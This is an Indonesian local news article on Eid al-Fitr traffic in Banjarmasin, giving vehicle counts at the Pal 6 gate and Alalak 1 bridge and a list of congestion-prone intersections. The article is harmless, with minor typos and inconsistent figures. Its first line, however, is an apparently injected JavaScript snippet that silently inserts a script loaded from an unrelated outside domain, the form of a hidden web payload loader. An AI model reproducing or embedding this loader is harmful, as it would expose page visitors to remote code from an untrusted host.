(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ribuan Roda Dua Masuk Banjarmasin, Ini Lokasi Rawan Macet saat Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Arus kendaraan bermotor yang memasuki wilayah Kota Banjarmasin, Kalimantan Selatan, didominasi ribuan kendaraan roda dua. Kondisi ini terpantau dari CCTV room ATCS Dinas Perhubungan Kota Banjarmasin, Kamis (20/4/2023) siang.

Pantauan arus keluar masuk kendaraan Bermotor ini dilihat melalui dua titik yakni gerbang Pal 6 dan Jembatan Alalak 1.

Kepala Dinas Perhubungan Kota Banjarmasin Slamet Begjo mengatakan, ribuan pemudik dengan kendaraan roda dua mendominasi arus masuk ke Banjarmasin.

Yakni kendaran roda dua yang masuk dari gerbang Pal 6 ada 32.181 ribu. Sedangkan yang masuk dari Jembatan Alalak 1 ada sekitar 13.496 ribu kendaraan roda dua.

“Kalau ditotal seluruh kendaraan masuk termasuk roda dua, empat, dan lain-lain maka ada 42.401 ribu dari gerbang Pal 6. Sedangkan dari Jembatan Alalak 1 total kendaraan masuk ada 18.580 ribu,” sebut Kepala Dinas Perhubungan Kota Banjarmasin Slamet Begjo, Kamis (20/4/2023).

Meski didominasi kendaraan roda dua yang memasuki Banjarmasin, ternyata ribuan warga terpantau lebih dominan keluar kota dibanding masuk kota, terhitung sejak H-3 Lebaran Rabu (19/4/20223) kemarin.

Hal ini terlihat dari data kendaraan keluar melalui gerbang Pal 6 terdapat total 49.185 ribu kendaraan. Sedangkan yang keluar kota melalui Jembatan Alalak 1 ada sekitar 20.745 ribu kendaraan.

“Untuk arus keluar kota, roda dua masih mendominasi yakni sekitar 29.438 ribu yang keluar dari gerbang Pal 6 dan ada sekitar 10.505 ribu motor yang keluar melalui Jembatan Alalak 1,” sambungnya.

Sementara itu, untuk di dalam Kota Banjarmasin sendiri, Dishub telah melakukan pemetaan sejumlah titik yang rawan macet selama perayaan Hari Raya Idulfitri 1444 Hijriyah.

Setidaknya dari empat kecamatan di Banjarmasin, Banjarmasin Tengah menjadi titik yang paling banyak menimbulkan kerawanan macet, sehingga jadi prioritas Dishub Kota Banjarmasin.

Berikut titik rawan kemacetan pada empat kecamatan di Banjarmasin:

Banjarmasin Tengah:

– Jalan S Parman tepatnya depan Gereja Eben Ezer

– Jalan Perintis Kemerdekaan yakni simpang empat Pasar Lama

– Jalan Ujung Murung dengan pusat perbelanjaan rakyat

– Jalan Pangeran Antasari Simpang 4 Antasari

– Jalan A Yani KM 2 tepatnya depan Duta Mall

– Jalan Pangeran Samudera.

Banjarmasin Timur:

– Simpang 3 Jalan Kuripan dan Sungai Bilu

– Simpang 4 Veteran Jalan Gatot Subroto, dan

– Jalan A Yani Km 6,500.

Banjarmasin Utara:

– Simpang 4 Sultan Adam

– Bundaran Kayu Tangi

Banjarmasin Selatan:

– Jalan Lingkar Dalam

– Jalan Gubernur Soebardjo, tepatnya di antrian truk pengisi BBM Solar.

Banjarmasin Barat:

– Jalan Gubernur Soerbarjo sekitar Pasar 1 tradisional masyarakat dan pusat lalu lintas kendaraan bermotor angkutan barang ataupun khusus

– Jalan Sutoyo S, tepatnya di Jembatan Faisal, PasarWildan, Pasar Sederhana

– Jalan Belitung, tepatnya Simpang 3 Belitung dan Simpang 3 Saka Permai, sekitaran pelabuhan Trisakti, dan Jalan Lumba-lumba.(Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie